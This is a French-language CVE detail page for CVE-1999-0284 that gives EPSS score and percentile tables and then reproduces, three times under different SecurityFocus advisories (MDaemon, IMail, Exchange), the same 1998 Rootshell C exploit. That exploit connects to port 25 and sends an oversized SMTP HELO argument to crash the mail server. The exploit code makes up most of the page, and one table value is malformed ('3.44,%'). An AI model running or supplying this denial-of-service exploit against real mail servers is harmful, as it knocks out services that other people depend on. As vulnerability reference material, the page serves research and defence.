CVE-1999-0284 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11.25%	–	–
2022-04-03	–	–	11.25%	–	–
2022-05-08	–	–	11.25%	–	–
2022-08-21	–	–	12.89%	–	–
2022-11-13	–	–	12.89%	–	–
2022-11-20	–	–	12.89%	–	–
2022-11-27	–	–	12.89%	–	–
2023-01-01	–	–	12.89%	–	–
2023-02-26	–	–	12.89%	–	–
2023-03-12	–	–	–	0.62%	–
2023-03-19	–	–	–	0.62%	–
2023-11-05	–	–	–	0.62%	–
2023-11-12	–	–	–	0.62%	–
2024-01-21	–	–	–	0.62%	–
2024-02-11	–	–	–	0.46%	–
2024-06-02	–	–	–	0.46%	–
2024-06-02	–	–	–	0.46%	–
2024-07-21	–	–	–	0.46%	–
2024-12-22	–	–	–	0.46%	–
2025-01-19	–	–	–	0.46%	–
2025-03-18	–	–	–	–	2.81%
2025-03-30	–	–	–	–	3.44%
2025-03-30	–	–	–	–	3.44,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-08	95%
2022-08-21	95%
2022-11-13	96%
2022-11-20	95%
2022-11-27	96%
2023-01-01	95%
2023-02-26	96%
2023-03-12	75%
2023-03-19	76%
2023-11-05	77%
2023-11-12	76%
2024-01-21	77%
2024-02-11	75%
2024-06-02	75%
2024-06-02	75%
2024-07-21	76%
2024-12-22	75%
2025-01-19	75%
2025-03-18	85%
2025-03-30	86%
2025-03-30	86%

// source: https://www.securityfocus.com/bid/8622/info It has been reported that Alt-N MDaemon server is prone to an SMTP HELO command argument buffer overflow vulnerability. The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. /* * MDaemon SMTP server for Windows buffer overflow exploit * * http://www.mdaemon.com - if you dare... * * Tested on MDaemon 2.71 SP1 * * http://www.rootshell.com/ * * Released 3/10/98 * * (C) 1998 Rootshell All Rights Reserved * * For educational use only. Distribute freely. * * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail * connector if SP2 has NOT been installed. * * Danger! * * A malicous user could use this bug to execute arbitrary code on the * remote system. * */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdlib.h> #include <unistd.h> void main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *hp; char *buffer; int sock, i; if (argc != 2) { printf("usage: %s <smtp server>\n", argv[0]); exit(1); } hp = gethostbyname(argv[1]); if (hp==NULL) { printf("Unknown host: %s\n",argv[1]); exit(1); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(25); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); buffer = (char *)malloc(10000); sprintf(buffer, "HELO "); for (i = 0; i<4096; i++) strcat(buffer, "x"); strcat(buffer, "\r\n"); write(sock, &buffer[0], strlen(buffer)); close(sock); free(buffer); }

// source: https://www.securityfocus.com/bid/8621/info It has been reported that Ipswitch IMail server is prone to an SMTP HELO command argument buffer overflow vulnerability. The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. /* * MDaemon SMTP server for Windows buffer overflow exploit * * http://www.mdaemon.com - if you dare... * * Tested on MDaemon 2.71 SP1 * * http://www.rootshell.com/ * * Released 3/10/98 * * (C) 1998 Rootshell All Rights Reserved * * For educational use only. Distribute freely. * * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail * connector if SP2 has NOT been installed. * * Danger! * * A malicous user could use this bug to execute arbitrary code on the * remote system. * */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdlib.h> #include <unistd.h> void main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *hp; char *buffer; int sock, i; if (argc != 2) { printf("usage: %s <smtp server>\n", argv[0]); exit(1); } hp = gethostbyname(argv[1]); if (hp==NULL) { printf("Unknown host: %s\n",argv[1]); exit(1); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(25); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); buffer = (char *)malloc(10000); sprintf(buffer, "HELO "); for (i = 0; i<4096; i++) strcat(buffer, "x"); strcat(buffer, "\r\n"); write(sock, &buffer[0], strlen(buffer)); close(sock); free(buffer); }

// source: https://www.securityfocus.com/bid/8555/info It has been reported that Microsoft Exchange server is prone to an SMTP HELO command argument buffer overflow vulnerability. The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. /* * MDaemon SMTP server for Windows buffer overflow exploit * * http://www.mdaemon.com - if you dare... * * Tested on MDaemon 2.71 SP1 * * http://www.rootshell.com/ * * Released 3/10/98 * * (C) 1998 Rootshell All Rights Reserved * * For educational use only. Distribute freely. * * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail * connector if SP2 has NOT been installed. * * Danger! * * A malicous user could use this bug to execute arbitrary code on the * remote system. * */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdlib.h> #include <unistd.h> void main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *hp; char *buffer; int sock, i; if (argc != 2) { printf("usage: %s <smtp server>\n", argv[0]); exit(1); } hp = gethostbyname(argv[1]); if (hp==NULL) { printf("Unknown host: %s\n",argv[1]); exit(1); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(25); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); buffer = (char *)malloc(10000); sprintf(buffer, "HELO "); for (i = 0; i<4096; i++) strcat(buffer, "x"); strcat(buffer, "\r\n"); write(sock, &buffer[0], strlen(buffer)); close(sock); free(buffer); }